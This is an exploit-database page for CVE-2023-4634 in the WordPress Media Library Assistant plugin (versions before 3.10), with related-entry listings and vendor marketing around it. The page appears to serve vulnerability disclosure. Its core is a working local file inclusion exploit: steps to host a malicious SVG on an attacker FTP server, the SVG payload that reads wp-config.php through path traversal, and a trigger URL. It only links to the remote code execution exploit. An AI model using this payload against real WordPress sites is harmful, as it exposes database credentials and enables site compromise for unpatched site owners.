Lucene search
+L

Wordpress Media Library Assistant Plugin - Remote Code Execution / Local File Inclusion Exploit

🗓️ 09 Oct 2023 00:00:00Reported by Florent MONTELType 
zdt
 zdt
🔗 0day.today👁 221 Views

Media Library Assistant Plugin - RCE / LFI Exploit - Remote Code Execution and Local File Inclusion through unauthenticated Imagick() conversio

Related
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for CVE-2023-4634
4 Feb 202617:59
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2023-4634
5 Sep 202307:44
–githubexploit
bdu_fstec
BDU FSTEC
Media Library Assistant Imagick Code Execution
11 Sep 202300:00
–bdu_fstec
circl
Circl
CVE-2023-4634
5 Sep 202311:57
–circl
cnnvd
CNNVD
WordPress plugin Media Library Assistant security vulnerability
6 Sep 202300:00
–cnnvd
cve
CVE
CVE-2023-4634
6 Sep 202308:27
–cve
cvelist
Cvelist
CVE-2023-4634 Media Library Assistant <= 3.09 - Unauthenticated Local/Remote File Inclusion & Remote Code Execution
6 Sep 202308:27
–cvelist
exploitdb
Exploit DB
Media Library Assistant Wordpress Plugin - RCE and LFI
9 Oct 202300:00
–exploitdb
kitploit
Kitploit
CVE-2023-4634-PoC
11 Oct 202615:53
–kitploit
kitploit
Kitploit
CVE-2023-4634
16 Oct 202616:39
–kitploit
Rows per page
# Exploit Title: Media Library Assistant Wordpress Plugin - RCE and LFI 
# CVE: CVE-2023-4634
# Exploit Author: Florent MONTEL / Patrowl.io / @Pepitoh / Twitter @Pepito_oh
# Exploitation path: https://patrowl.io/blog-wordpress-media-library-rce-cve-2023-4634/
# Exploit: https://github.com/Patrowl/CVE-2023-4634/
# Vendor Homepage: https://fr.wordpress.org/plugins/media-library-assistant/
# Software Link: https://fr.wordpress.org/plugins/media-library-assistant/
# Version: < 3.10
# Tested on: 3.09
# Description:
# Media Library Assistant Wordpress Plugin in version < 3.10 is affected by an unauthenticated remote reference to Imagick() conversion which allows attacker to perform LFI and RCE depending on the Imagick configuration on the remote server. The affected page is: wp-content/plugins/media-library-assistant/includes/mla-stream-image.php


#LFI

Steps to trigger conversion of a remote SVG

Create a remote FTP server at ftp://X.X.X.X:21 (http will not work, see references)

Host 2 files :
- malicious.svg
- malicious.svg[1]


Payload:
For LFI, getting wp-config.php:

Both malicious.svg and malicious.svg[1] on the remote FTP:

<svg width="500" height="500"
xmlns:xlink="http://www.w3.org/1999/xlink">
xmlns="http://www.w3.org/2000/svg">
<image xlink:href= "text:../../../../wp-config.php" width="500" height="500" />
</svg>

Then trigger conversion with:
http://127.0.0.1/wp-content/plugins/media-library-assistant/includes/mla-stream-image.php?mla_stream_file=ftp://X.X.X.X:21/malicious.svg&mla_debug=log&mla_stream_frame=1


# Directory listing or RCE:
To achieve Directory listing or even RCE, it is a little more complicated. 

Use exploit available here:
https://github.com/Patrowl/CVE-2023-4634/

# Note
Exploitation will depend on the policy.xml Imagick configuration file installed on the remote server. All exploitation paths and scripts have been performed with a default wordpress configuration and installation (Wordpress has high chance to have the default Imagick configuration).

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

09 Oct 2023 00:00Current
9.6Critical risk
Vulners AI Score9.6
CVSS 3.19.8
EPSS0.85595
SSVC
221